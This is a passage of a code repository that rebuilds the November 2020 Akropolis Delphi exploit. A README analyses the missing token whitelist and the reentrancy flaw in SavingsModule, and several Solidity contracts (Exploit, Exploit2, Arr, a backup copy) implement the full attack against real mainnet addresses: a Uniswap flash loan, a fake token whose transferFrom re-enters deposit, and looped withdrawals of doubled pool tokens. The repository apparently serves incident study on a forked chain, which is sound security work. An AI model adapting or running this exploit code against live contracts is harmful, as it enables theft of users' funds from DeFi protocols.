├── .env-sample ├── .gitignore ├── Exploit copy.sol.bak ├── README.md ├── contracts ├── Arr.sol ├── Exploit.sol ├── Exploit2.sol ├── Fiddy.sol ├── ICurveFiProtocol_Y.sol ├── IPoolToken_CurveFi_Y.sol ├── ISavingsModule.sol ├── IUniswapV2ERC20.sol └── IUniswapV2Pair.sol ├── exploit.bak ├── hardhat.config.js ├── package-lock.json ├── package.json ├── remake.sol ├── scripts ├── bytecode ├── deploy-fiddy.js ├── deploy.js └── storage.js ├── test ├── test-fiddy.js.bak └── test.js └── utils └── utils.js /.env-sample: -------------------------------------------------------------------------------- 1 | FORKING_URL=https://eth-mainnet.alchemyapi.io/v2/{YOUR_API_KEY}} -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | 3 | #Hardhat files 4 | cache 5 | artifacts 6 | .env -------------------------------------------------------------------------------- /Exploit copy.sol.bak: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | import "hardhat/console.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "./ISavingsModule.sol"; 7 | import "./IUniswapV2Pair.sol"; 8 | 9 | // @Dan | ChainShot#6490 a thought: exploiter wrote a function on their ERC20 contract to call the akro contract from that contract, because in that manner the whole process ended on their contract and they could then set approve to `0` and not be worried about being "hacked" back, maybe? 10 | 11 | // Had they done it 12 | 13 | contract Exploit is ERC20 { 14 | 15 | // AKRO contract 16 | ISavingsModule savingsModule = ISavingsModule(0x73fC3038B4cD8FfD07482b92a52Ea806505e5748); 17 | // DAI/WETH pair for flashloan 18 | IUniswapV2Pair pair = IUniswapV2Pair(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); 19 | // one of the supported protocols: 20 | address curveYPool = 0x7967adA2A32A633d5C055e2e075A83023B632B4e; 21 | // pool token for ^^ 22 | address delphiYPool = 0x2AFA3c8Bf33E65d5036cD0f1c3599716894B3077; 23 | 24 | ERC20 dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 25 | ERC20 delphiYPoolToken = ERC20(delphiYPool); 26 | 27 | uint borrow = 24000*10**18; // akro had a deposit cap per user I think it was 25,000. 28 | uint supply = 500000000 * 10**18; 29 | uint daiBalance; // lazy to put in storage but yeah. 30 | 31 | 32 | constructor() payable ERC20("Exploit", "XPLT") { 33 | // doing all the approvals here: 34 | // approve the akro contract to transfer our DAI 35 | dai.approve(address(savingsModule), uint(-1)); 36 | // need to approve the akro contract to transfer our akro pool tokens? 37 | delphiYPoolToken.approve(address(savingsModule), uint(-1)); 38 | 39 | } 40 | 41 | // call this to start the hack 42 | function run() external { 43 | console.log("START OF RUN"); 44 | // take out a dai loan: 45 | pair.swap(borrow, 0, address(this), "0x"); 46 | // ^^ will call uniswapV2Call 47 | 48 | } 49 | 50 | function uniswapV2Call(address,uint,uint,bytes calldata) external { 51 | console.log("- Into uniswapV2Call"); 52 | daiBalance = dai.balanceOf(address(this)); 53 | console.log("- Dai balance: ", daiBalance); 54 | 55 | // now send the tokens to the savingsmodule: 56 | uint[] memory amountsIn = new uint[](1); 57 | amountsIn[0] = supply; 58 | address[] memory tokensIn = new address[](1); 59 | tokensIn[0] = address(this); 60 | console.log("START FIRST DEPOSIT: depositing fake tokens"); 61 | savingsModule.deposit(curveYPool, tokensIn, amountsIn); 62 | // ^^ will call transferFrom 63 | 64 | console.log("- Back in first loop, now call withdraw:"); 65 | // ^^ back from transferFrom 66 | 67 | 68 | // now call withdraw, for 50K tokens: 69 | uint amountOut = borrow; 70 | savingsModule.withdraw(curveYPool, address(dai), amountOut, 0); 71 | 72 | daiBalance = dai.balanceOf(address(this)); 73 | console.log('daiBalance'); 74 | console.log(daiBalance); 75 | 76 | // un-approve the akro contract in case they 77 | // try and take it back: 78 | dai.approve(address(savingsModule), 0); 79 | delphiYPoolToken.approve(address(savingsModule), 0); 80 | // return the borrowed DAI 81 | uint toReturn = (borrow * 1003) / 1000; 82 | console.log(toReturn); 83 | dai.transfer(msg.sender, toReturn); 84 | 85 | 86 | } 87 | 88 | // transferFrom, a.k.a. "Eye am the Captain now". 89 | // this will be the malicious implementation *one million dollars* 90 | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { 91 | console.log("- Into transferFrom"); 92 | 93 | // address[] memory tokensIn = new address[](1); 94 | // tokensIn[0] = address(dai); 95 | // uint[] memory amountsIn = new uint[](1); 96 | // amountsIn[0] = borrow; 97 | 98 | // console.log('START SECOND DEPOSIT'); 99 | 100 | // savingsModule.deposit(curveYPool, tokensIn, amountsIn); 101 | // console.log('- Dai balance: ', dai.balanceOf(address(this))); 102 | 103 | // uint delphiYPoolTokenBal = delphiYPoolToken.balanceOf(address(this)); 104 | // console.log('- delphiYPoolTokenBal: ', delphiYPoolTokenBal); 105 | 106 | 107 | 108 | return true; 109 | 110 | } 111 | 112 | 113 | function balanceCheck(string memory title) internal { 114 | console.log("------------------------"); 115 | console.log(title); 116 | daiBalance = dai.balanceOf(address(this)); 117 | console.log("DAI: ", daiBalance / 10**6); 118 | 119 | } 120 | 121 | 122 | 123 | receive() external payable {} 124 | 125 | } 126 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Akropolis Delphi Exploit 2 | 3 | ## Summary 4 | 5 | - On November 12th, 2020, an attacker exploited a chain of vulnerabilities in the [Akropolis SavingsModule](https://github.com/akropolisio/delphi/blob/release-1.0/contracts/modules/savings/SavingsModule.sol) contract. 6 | - Over the course of several transactions they were able to extract more than 2 million `dai` from their pools. 7 | 8 | ## Background 9 | 10 | The Akropolis Delphi project was created to allow users an easy interface into underlying DeFi protocols like [Curve.fi](http://curve.fi). Users were rewarded Delphi governance tokens for doing so, and some innovative features were to be added to the platform. 11 | 12 | The deposit interface on their website constrained users to depositing the appropriate tokens for the underlying protocols; unfortunately the underlying `SavingsModule` contract itself did not enforce this check. By interacting directly with the contract, a user could deposit *any* token to the system in exchange for the underlying pool tokens. 13 | 14 | A second vulnerability existed where `SavingsModule` contract was open to re-entrance via `depositToProtocol`. Given that this method calls a token's `transferFrom` method, theoretically a token contract could re-enter `SavingsModule`. 15 | 16 | ## This repository 17 | 18 | The repository is a Hardhat based re-construction of one example of the exploit. To use it, clone the repository and then install the dependencies with `npm install`. Rename the `.env-sample` file to `.env` and paste in your `Alchemyapi url`. Running `npx hardhat run scripts/deploy.js` from the root will execute a transaction similar to that of the exploiter. This transaction is run against a forked `mainnet` version uses Hardhat's Solidity `console.log` to print results of the process to the console. A proper `test` setup is still in progress. 19 | 20 | ## Details of the vulnerability 21 | 22 | The `deposit` method on the `SavingsModule` contract is used to deposit funds into an underlying strategy via `depositToProtocol`, after which pool tokens are minted and returned to the depositor. Prior to calling `depositToProtocol` there are no obvious checks performed on the parameters passed to `deposit`; no whitelisting of accepted tokens or otherwise. There is one early call to `normalizeTokenAmount` that *could* perform a check against the `tokens` mapping, however as we will see further below this method performs no checks and made some questionable assumptions. The `deposit` code below has been simplified and some comments added (see the [original code here](https://github.com/akropolisio/delphi/blob/release-1.0/contracts/modules/savings/SavingsModule.sol#L217-L277)): 23 | 24 | ```solidity 25 | function deposit(address _protocol, address[] memory _tokens, uint256[] memory _dnAmounts) 26 | public operationAllowed(IAccessModule.Operation.Deposit) 27 | returns(uint256) 28 | { 29 | 30 | uint256 nAmount; 31 | for (uint256 i=0; i < _tokens.length; i++) { 32 | // normalizeTokenAmount might have been a place to check for valid 33 | // or whitelisted _tokens 34 | nAmount = nAmount.add(normalizeTokenAmount(_tokens[i], _dnAmounts[i])); 35 | } 36 | 37 | uint256 nBalanceBefore = distributeYieldInternal(_protocol); 38 | // depositToProtocol calls transferFrom which could be used for re-entry 39 | depositToProtocol(_protocol, _tokens, _dnAmounts); 40 | uint256 nBalanceAfter = updateProtocolBalance(_protocol); 41 | 42 | PoolToken poolToken = PoolToken(protocols[_protocol].poolToken); 43 | 44 | uint256 nDeposit = nBalanceAfter.sub(nBalanceBefore); 45 | 46 | uint256 cap; 47 | if(userCapEnabled) { 48 | cap = userCap(_protocol, _msgSender()); 49 | } 50 | 51 | // pool tokens are minted here; both cases are used in the exploit 52 | uint256 fee; 53 | if(nAmount > nDeposit) { 54 | fee = nAmount - nDeposit; 55 | poolToken.mint(_msgSender(), nDeposit); 56 | } else { 57 | fee = 0; 58 | poolToken.mint(_msgSender(), nAmount); 59 | uint256 yield = nDeposit - nAmount; 60 | if (yield > 0) { 61 | createYieldDistribution(poolToken, yield); 62 | } 63 | } 64 | 65 | emit Deposit(_protocol, _msgSender(), nAmount, fee); 66 | return nDeposit; 67 | } 68 | ``` 69 | 70 | The following method is where control is passed back to the token contract and a malicious contract could reenter `SavingsModule`: 71 | 72 | ```solidity 73 | function depositToProtocol(address _protocol, address[] memory _tokens, uint256[] memory _dnAmounts) internal { 74 | require(_tokens.length == _dnAmounts.length, "SavingsModule: count of tokens does not match count of amounts"); 75 | for (uint256 i=0; i < _tokens.length; i++) { 76 | address tkn = _tokens[i]; 77 | // safeTransferFrom is called on the token that was passed in by the user. 78 | IERC20(tkn).safeTransferFrom(_msgSender(), _protocol, _dnAmounts[i]); 79 | IDefiProtocol(_protocol).handleDeposit(tkn, _dnAmounts[i]); 80 | emit DepositToken(_protocol, tkn, _dnAmounts[i]); 81 | } 82 | } 83 | ``` 84 | 85 | Excluding other possibilities, `normalizeTokenAmount` is where a check using `mapping(address => TokenData) tokens;` could have reverted any unlisted tokens. See comments in the code: 86 | 87 | ```solidity 88 | function normalizeTokenAmount(address token, uint256 amount) private view returns(uint256) { 89 | // tokens is a mapping that could have served as a sanity check on the 90 | // address token parameter, requiring that the token was present in the mapping: 91 | uint256 decimals = tokens[token].decimals; 92 | // below, a dangerous assumption whereby if there is no record of the token 93 | // in the mapping, the final "else if" is used as the condition is true: tokens 94 | // not in the tokens mapping return 0 for tokens[token].decimals. 95 | if (decimals == 18) { 96 | return amount; 97 | } else if (decimals > 18) { 98 | return amount.div(10**(decimals-18)); 99 | } else if (decimals < 18) { 100 | return amount.mul(10**(18 - decimals)); 101 | } 102 | } 103 | ``` 104 | 105 | It is often the case that a few small bugs or conditions chained together can become a major issue. In this exploit a re-entrance opportunity spotted by a malicious actor would encourage them to dig deeper. It just so happens that the lack of a token sanity check meant that the system would accept a token with a malicious `transferFrom` method. Of course it could have been the other way around: spot the lack of check, and then look for more opportunity. So how did they exploit this vulnerability? 106 | 107 | ## Details of the exploit 108 | 109 | Examining the bytecode of the [contract](https://etherscan.io/address/0xe2307837524db8961c4541f943598654240bd62f) published by the [exploiter](https://etherscan.io/address/0x9f26ae5cd245bfeeb5926d61497550f79d9c6c1c) showed that they had a few different methods they used, for example `a()` [here](https://etherscan.io/tx/0x4ec646d40205bb9caf92f86da911350abd764de51e154fce2771ea431020091c) and `b()` [here](https://etherscan.io/tx/0xd143af3180c4e0ca060394bfb0e5ea3070246aed98e25dd1681a6a1c76b683d0). But the main method seemed to be `0x02908e5f` (see transaction below), which decompiled to a long complex construction. 110 | 111 | The first seven storage slots for the contract and the [decompiled bytecode](https://oko.palkeo.com/0xe2307837524Db8961C4541f943598654240bd62f/code/) provided some clues to help deduce what the attacker was doing with `0x02908e5f`, but the most simple manner to see what was happening was using [https://oko.palkeo.com/](https://oko.palkeo.com/) on [this transaction](https://oko.palkeo.com/0xe2307837524Db8961C4541f943598654240bd62f/calls_from/), where, along with some event logs, you could follow the different actions undertaken by the code. Looking at that last link you can pull out a central process that gets looped thru a few times: 112 | 113 | 1. Call `savingsModule.poolTokenByProtocol` 114 | 2. Call `balanceOf` on `dyPoolToken` 115 | 3. Approve spending of contract's `dai` by `savingsModule` 116 | 4. Check balance of `dai` 117 | 5. Call `savingsModule.deposit` sending `5000000` of `address(this)` (the fake token). 118 | 6. Re-entered into `address(this).transferFrom` and calls `savingsModule.deposit` again, this time to deposit real `dai`. 119 | 7. Transfer `1 dai` to the Akropolis `curveYPool`. 120 | 8. Call `savingsModule.normalizedBalance`. 121 | 9. Call `balanceOf` on `dyPoolToken`. 122 | 10. Call `savingsModule.withdraw` for close to double the pool tokens they would receive if they only deposited their `dai`. 123 | 11. `Approve` `0 dai`. 124 | 125 | This process enables the exploiter to deposit their token to the system, re-enter the contract via their malicious `transferFrom` where they deposit flash-loaned `dai`, and then wind that out receiving ±`50,000*10e18` pool tokens, an amount worth twice what they would recieve if they simply deposited the `dai`. Then they are able to withdraw the whole amount as `dai`, even though half of that represents the fake token. This is the sequence undertaken in this repository and it was able to withdraw roughly `23,000 dai` per loop after paying back the flash loan. 126 | 127 | There are some inconsistencies in the system that I was not able to deduce and that the hacker appeared to understand. For some reason you could not withdraw by sending all of your pool tokens to `savingsModule.withdraw`; indeed, as a Delphi user I was not able to send all of my tokens to their interface either. The exploiter has a calculation that you can see in the bytecode whereby they would withdraw `99%` of their pool token balance rather than `100%`. 128 | 129 | While rebuilding the exploit it was also interesting to see that you could send fake tokens to the contract and have the `address(this).transferFrom` return `true`, and then withdrawing your resulting tokens you could actually get `dai` out of the system, albeit very little. 130 | 131 | It is worth noting that the code in the exploits removed the `dai` `approval` to `SavingsModule` after each loop; looking at the timeline below, the contract held the `dai` until they were finished exploiting, and then they moved the `dai` to their wallet. The exploiter seemed to be careful so as not to let any of the approved contracts reclaim their `dai`, perhaps! 132 | 133 | ## Timeline of events 134 | 135 | - [Nov-12-2020 11:47:44 AM +UTC](https://etherscan.io/tx/0x431af3fbce70dbc880f24d62f5dcecea7fa79becf16495563c7cbd283ca8a853) [the exploiter](https://etherscan.io/address/0x9f26ae5cd245bfeeb5926d61497550f79d9c6c1c) publishes the [malicious contract](https://etherscan.io/address/0xe2307837524db8961c4541f943598654240bd62f) to mainnet. 136 | - During the next hour they proceed to run [26 more transactions](https://etherscan.io/txs?a=0x9f26ae5cd245bfeeb5926d61497550f79d9c6c1c), some of which ran out of gas; the contract provides a view of the [results of the transactions](https://etherscan.io/tokentxns?a=0xe2307837524db8961c4541f943598654240bd62f). 137 | - [Nov-12-2020 12:04:41 PM +UTC](https://etherscan.io/tx/0xf15623567231c67df2b8bcc5540236fbda2c3ac11ecbec427048f11b582cb869), less than 20 minutes after publishing the contract, the exploiter transfers `2,030,850 dai` from the contract to their wallet. 138 | 139 | ## Relevant links 140 | 141 | - [Akropolis Hack Update](https://www.notion.so/Akropolis-Hack-Update-10f48dfa44a544e5a7b24f298c759c6d) 142 | -------------------------------------------------------------------------------- /contracts/Arr.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | import "hardhat/console.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "./ISavingsModule.sol"; 7 | import "./IUniswapV2Pair.sol"; 8 | 9 | 10 | 11 | contract Arr is ERC20 { 12 | 13 | // AKRO contract 14 | ISavingsModule savingsModule = ISavingsModule(0x73fC3038B4cD8FfD07482b92a52Ea806505e5748); 15 | // DAI/WETH pair for flashloan 16 | IUniswapV2Pair pair = IUniswapV2Pair(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); 17 | 18 | // one of the supported protocols: 19 | address curveYPool = 0x7967adA2A32A633d5C055e2e075A83023B632B4e; 20 | // pool token for ^^ 21 | address delphiYPool = 0x2AFA3c8Bf33E65d5036cD0f1c3599716894B3077; 22 | 23 | ERC20 dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 24 | ERC20 delphiYPoolToken = ERC20(delphiYPool); 25 | 26 | uint borrow = 24000*10**18; 27 | 28 | constructor() payable ERC20("Exploit", "XPLT") { 29 | // doing all the approvals here: 30 | // approve the akro contract to transfer our DAI 31 | dai.approve(address(savingsModule), uint(-1)); 32 | // approve the Uni transfer our DAI 33 | dai.approve(address(pair), uint(-1)); 34 | // approve akro to swap our pool tokens 35 | delphiYPoolToken.approve(address(savingsModule), uint(-1)); 36 | console.log("Pool token balance: ", delphiYPoolToken.balanceOf(address(this))); 37 | console.log("DAI balance: ", dai.balanceOf(address(this))); 38 | 39 | } 40 | 41 | // call this to start the hack 42 | function plunder() external { 43 | // take out a dai loan: 44 | pair.swap(borrow, 0, address(this), "0x"); 45 | // ^^ will call uniswapV2Call 46 | } 47 | 48 | function uniswapV2Call(address,uint,uint,bytes calldata) external { 49 | // we have our dai now, so we enter the akro protocol with our fake call: 50 | uint[] memory amountsIn = new uint[](1); 51 | amountsIn[0] = 5000000*10**18; 52 | address[] memory tokensIn = new address[](1); 53 | tokensIn[0] = address(this); 54 | console.log("First deposit called now. Should head to savingsModule and come back thru transferFrom"); 55 | savingsModule.deposit(curveYPool, tokensIn, amountsIn); 56 | // ^^ off to savingsModule, will come back to us in transferFrom. 57 | 58 | console.log("First deposit (fake token) is done."); 59 | 60 | // now back, we need to withdraw our DAI: 61 | savingsModule.withdraw(curveYPool, address(dai), borrow, 0); 62 | 63 | // and return the loan: 64 | uint toReturn = (borrow * 10035) / 10000; 65 | dai.transfer(msg.sender, toReturn); 66 | } 67 | 68 | // transferFrom, a.k.a. "Eye am the Captain now". 69 | // this will be the malicious implementation *one million dollars* (actually it was >2!!) 70 | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { 71 | console.log("Back in transferFrom from savingsModule."); 72 | 73 | // savingsModule comes here looking for it's tokens. Fat chance: 74 | console.log("DAI balance: ", dai.balanceOf(address(this))); 75 | 76 | uint[] memory amountsIn = new uint[](1); 77 | amountsIn[0] = borrow; 78 | address[] memory tokensIn = new address[](1); 79 | tokensIn[0] = address(dai); 80 | savingsModule.deposit(curveYPool, tokensIn, amountsIn); 81 | //^^ this sends the contract back to savingsModule who will 82 | // move our DAI. But.. we should have double the pool tokens now. 83 | 84 | console.log("Second deposit (dai) is done."); 85 | console.log("Pool token balance: ", delphiYPoolToken.balanceOf(address(this))); 86 | console.log("DAI balance: ", dai.balanceOf(address(this))); 87 | 88 | return true; 89 | // ^^ We return true and head back to savingsModule, to finish the 90 | // first deposit call and should end up back in our uniswapV2Call. 91 | } 92 | 93 | receive() external payable {} 94 | 95 | } 96 | -------------------------------------------------------------------------------- /contracts/Exploit.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | import "hardhat/console.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "./ISavingsModule.sol"; 7 | import "./IUniswapV2Pair.sol"; 8 | import "./ICurveFiProtocol_Y.sol"; 9 | 10 | contract Exploit is ERC20 { 11 | 12 | // break down the tx from: https://oko.palkeo.com/0xe2307837524Db8961C4541f943598654240bd62f/calls_from/ 13 | 14 | // 1. calls savingsModule.poolTokenByProtocol 15 | // 2. calls balanceOf on dyPoolToken (why, maybe this is a loop?) 16 | // 3. approves spending of contract's DAI by savingsModule 17 | // 4. checks balance of DAI 18 | // 5. calls savingsModule.deposit sending 5000000 of address(this) 19 | // 6. re-entered into address(this).transferFrom, calls savingsModule.deposit sending 24747400163735396272620 dai 20 | // 7. now they transfer 1 dai, 1*10**18, to address(AkroYPool) 21 | // 8. call savingsModule.normalizedBalance 22 | // 9. calls balanceOf on dyPoolToken 23 | // 10. calls savingsModule.withdraw for 24 | // - dnAmount: 49268.189080 × 10¹⁸ 25 | // - _protocol: address(AkroYPool) 26 | // - token: DAI 27 | // - maxNAmount: 0 28 | // 11. goto line 5 for one more loop. 29 | // 12. approve 0. 30 | 31 | // AKRO contract 32 | ISavingsModule savingsModule = ISavingsModule(0x73fC3038B4cD8FfD07482b92a52Ea806505e5748); 33 | // DAI/WETH pair for flashloan 34 | IUniswapV2Pair pair = IUniswapV2Pair(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); 35 | ERC20 dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 36 | ERC20 dyPool = ERC20(0x2AFA3c8Bf33E65d5036cD0f1c3599716894B3077); 37 | ICurveFiProtocol_Y AkroYPool = ICurveFiProtocol_Y(0x7967adA2A32A633d5C055e2e075A83023B632B4e); 38 | 39 | 40 | uint borrow = 25000*10**18; 41 | uint deposit = 24000*10**18; // akro had a deposit cap per user I think it was 25,000. 42 | uint repay = (borrow * 100301) / 100000; 43 | uint dyPoolBalance; 44 | uint daiBalance; 45 | uint thisSupply = 500000; 46 | uint nDepositFake; 47 | uint nDepositDai; 48 | uint nBalance; 49 | uint loops; 50 | 51 | event ReEntered(bool); 52 | event ReTurned(bool); 53 | event GetLoan(bool); 54 | event DyPoolBalance(uint indexed state, uint indexed dyBalance); 55 | // state 0: start, should be 0 56 | // state 1: first, should be < 25000000000000000000000 57 | // state 2: second, should be > 45000000000000000000000 58 | // state 3: last, should be less than 24000000000000000000000 59 | 60 | constructor() payable ERC20("Exploit", "XPLT") { 61 | // approve the akro contract to transfer our DAI 62 | dai.approve(address(savingsModule), uint(-1)); 63 | // need to approve the akro contract to transfer our akro pool tokens 64 | dyPool.approve(address(savingsModule), uint(-1)); 65 | address poolToken = savingsModule.poolTokenByProtocol(address(AkroYPool)); 66 | } 67 | 68 | // call this to start the exploit 69 | function run(uint _loops) external { 70 | loops = _loops; 71 | // take out a dai loan: 72 | pair.swap(borrow, 0, address(this), "0x"); 73 | // ^^ will call uniswapV2Call 74 | } 75 | 76 | function uniswapV2Call(address,uint,uint,bytes calldata) external { 77 | emit GetLoan(true); 78 | 79 | dyPoolBalance = dyPool.balanceOf(address(this)); 80 | emit DyPoolBalance(0, dyPoolBalance); 81 | 82 | // prep savingsModule deposit of fake coin: 83 | uint[] memory amountsIn = new uint[](1); 84 | amountsIn[0] = thisSupply; 85 | address[] memory tokensIn = new address[](1); 86 | tokensIn[0] = address(this); 87 | nDepositFake = savingsModule.deposit(address(AkroYPool), tokensIn, amountsIn); 88 | // ^ here we jump down to the malicious transfer from 89 | 90 | // below this we have returned from the malicious transfer from. 91 | emit ReTurned(true); 92 | nBalance = AkroYPool.normalizedBalance(); 93 | dyPoolBalance = dyPool.balanceOf(address(this)); 94 | emit DyPoolBalance(2, dyPoolBalance); 95 | 96 | savingsModule.withdraw(address(AkroYPool), address(dai), dyPoolBalance*99/100, 0); 97 | dyPoolBalance = dyPool.balanceOf(address(this)); 98 | emit DyPoolBalance(3, dyPoolBalance); 99 | 100 | // if we want to run thru a few more iterations: 101 | for(uint i = 0;i < loops; i++){ 102 | savingsModule.deposit(address(AkroYPool), tokensIn, amountsIn); 103 | dyPoolBalance = dyPool.balanceOf(address(this)); 104 | savingsModule.withdraw(address(AkroYPool), address(dai), dyPoolBalance*99/100, 0); 105 | } 106 | 107 | bool daiSuccess = dai.transfer(address(pair), repay); 108 | 109 | } 110 | 111 | // transferFrom, a.k.a. "Eye am the Captain now". 112 | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { 113 | emit ReEntered(true); 114 | 115 | // prep savingsModule deposit of dai: 116 | // address[] memory tokensIn = new address[](1); 117 | // tokensIn[0] = address(dai); 118 | // uint[] memory amountsIn = new uint[](1); 119 | // amountsIn[0] = deposit; 120 | // nDepositDai = savingsModule.deposit(address(AkroYPool), tokensIn, amountsIn); 121 | 122 | // dyPoolBalance = dyPool.balanceOf(address(this)); 123 | // emit DyPoolBalance(1, dyPoolBalance); 124 | 125 | return true;//dai.transferFrom(address(this), address(AkroYPool), 1*10**18); 126 | 127 | } 128 | 129 | receive() external payable {} 130 | 131 | } 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /contracts/Exploit2.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.7.0; 3 | 4 | import "hardhat/console.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "./ISavingsModule.sol"; 7 | import "./IUniswapV2Pair.sol"; 8 | import "./ICurveFiProtocol_Y.sol"; 9 | 10 | contract Exploit2 is ERC20 { 11 | 12 | // break down the tx from: https://oko.palkeo.com/0xe2307837524Db8961C4541f943598654240bd62f/calls_from/ 13 | 14 | // 1. calls savingsModule.poolTokenByProtocol 15 | // 2. calls balanceOf on dyPoolToken (why, maybe this is a loop?) 16 | // 3. approves spending of contract's DAI by savingsModule 17 | // 4. checks balance of DAI 18 | // 5. calls savingsModule.deposit sending 5000000 of address(this) 19 | // 6. re-entered into address(this).transferFrom, calls savingsModule.deposit sending 24747400163735396272620 dai 20 | // 7. now they transfer 1 dai, 1*10**18, to curveYPool 21 | // 8. call savingsModule.normalizedBalance 22 | // 9. calls balanceOf on dyPoolToken 23 | // 10. calls savingsModule.withdraw for 24 | // - dnAmount: 49268.189080 × 10¹⁸ 25 | // - _protocol: curveYPool 26 | // - token: DAI 27 | // - maxNAmount: 0 28 | // 11. goto line 5 for one more loop. 29 | // 12. approve 0. 30 | 31 | // Pair of akro contracts/tokens: 32 | address curveYPool = 0x7967adA2A32A633d5C055e2e075A83023B632B4e; 33 | address dyPoolToken = 0x2AFA3c8Bf33E65d5036cD0f1c3599716894B3077; 34 | // AKRO contract 35 | ISavingsModule savingsModule = ISavingsModule(0x73fC3038B4cD8FfD07482b92a52Ea806505e5748); 36 | // DAI/WETH pair for flashloan 37 | IUniswapV2Pair pair = IUniswapV2Pair(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); 38 | ERC20 dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 39 | ERC20 dyPool = ERC20(0x2AFA3c8Bf33E65d5036cD0f1c3599716894B3077); 40 | ICurveFiProtocol_Y AkroYPool = ICurveFiProtocol_Y(curveYPool); 41 | 42 | 43 | uint borrow = 25000*10**18; 44 | uint deposit = 24000*10**18; // akro had a deposit cap per user I think it was 25,000. 45 | uint repay = (borrow * 100301) / 100000; 46 | uint dyPoolBalance; 47 | uint daiBalance; 48 | uint thisSupply = 500000; 49 | uint nDepositFake; 50 | uint nDepositDai; 51 | uint nBalance; 52 | uint loops; 53 | 54 | event DyPoolBalance(uint indexed state, uint indexed dyBalance); 55 | event ReEntered(uint indexed dyPoolBalance); 56 | 57 | // state 0: start, should be 0 58 | // state 1: first, should be < 25000000000000000000000 59 | // state 2: second, should be > 45000000000000000000000 60 | // state 3: last, should be less than 24000000000000000000000 61 | constructor() payable ERC20("Exploit", "XPLT") { 62 | // doing all the approvals here: 63 | // approve the akro contract to transfer our DAI 64 | dai.approve(address(savingsModule), uint(-1)); 65 | // need to approve the akro contract to transfer our akro pool tokens 66 | dyPool.approve(address(savingsModule), uint(-1)); 67 | balanceCheck("Deploy"); 68 | address poolToken = savingsModule.poolTokenByProtocol(curveYPool); 69 | console.log("poolToken: ", poolToken); 70 | } 71 | 72 | // call this to start the exploit 73 | function run(uint _loops) external { 74 | loops = _loops; 75 | console.log("RUN"); 76 | // take out a dai loan: 77 | pair.swap(borrow, 0, address(this), "0x"); 78 | // ^^ will call uniswapV2Call 79 | } 80 | 81 | function uniswapV2Call(address,uint,uint,bytes calldata) external { 82 | balanceCheck("SWAP"); 83 | 84 | dyPoolBalance = dyPool.balanceOf(address(this)); 85 | console.log("dyPoolBalance: ", dyPoolBalance); 86 | emit DyPoolBalance(0, dyPoolBalance); 87 | 88 | // prep savingsModule deposit 89 | uint[] memory amountsIn = new uint[](1); 90 | amountsIn[0] = thisSupply; 91 | address[] memory tokensIn = new address[](1); 92 | tokensIn[0] = address(this); 93 | nDepositFake = savingsModule.deposit(curveYPool, tokensIn, amountsIn); 94 | console.log("nDepositFake: ", nDepositFake); 95 | 96 | console.log("back to uniswapV2Call"); 97 | 98 | // below this we have returned from the malicious transfer from. 99 | nBalance = AkroYPool.normalizedBalance(); 100 | dyPoolBalance = dyPool.balanceOf(address(this)); 101 | console.log("dyPoolBalance: ", dyPoolBalance); 102 | emit DyPoolBalance(2, dyPoolBalance); 103 | savingsModule.withdraw(curveYPool, address(dai), dyPoolBalance*99/100, 0); 104 | balanceCheck("BACK FROM HACK"); 105 | dyPoolBalance = dyPool.balanceOf(address(this)); 106 | console.log("dyPoolBalance left over: ", dyPoolBalance); 107 | emit DyPoolBalance(3, dyPoolBalance); 108 | 109 | for(uint i = 0;i < loops; i++){ 110 | savingsModule.deposit(curveYPool, tokensIn, amountsIn); 111 | dyPoolBalance = dyPool.balanceOf(address(this)); 112 | savingsModule.withdraw(curveYPool, address(dai), dyPoolBalance*99/100, 0); 113 | } 114 | 115 | bool daiSuccess = dai.transfer(address(pair), repay); 116 | balanceCheck("PROFIT"); 117 | 118 | 119 | } 120 | // transferFrom, a.k.a. "Eye am the Captain now". 121 | // this will be the malicious implementation *one million dollars* 122 | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { 123 | console.log("transferFrom"); 124 | emit ReEntered(dyPoolBalance); 125 | address[] memory tokensIn = new address[](1); 126 | tokensIn[0] = address(dai); 127 | uint[] memory amountsIn = new uint[](1); 128 | amountsIn[0] = deposit; 129 | nDepositDai = savingsModule.deposit(curveYPool, tokensIn, amountsIn); 130 | console.log("nDepositDai :", nDepositDai); 131 | 132 | dyPoolBalance = dyPool.balanceOf(address(this)); 133 | console.log("dyPoolBalance DAI: ", dyPoolBalance); 134 | emit DyPoolBalance(1, dyPoolBalance); 135 | 136 | return dai.transferFrom(address(this), curveYPool, 1*10**18); 137 | //return true; 138 | 139 | } 140 | 141 | receive() external payable {} 142 | function balanceCheck(string memory title) internal { 143 | console.log("------------------------"); 144 | console.log(title); 145 | daiBalance = dai.balanceOf(address(this)); 146 | console.log("DAI: ", daiBalance / 10**18); 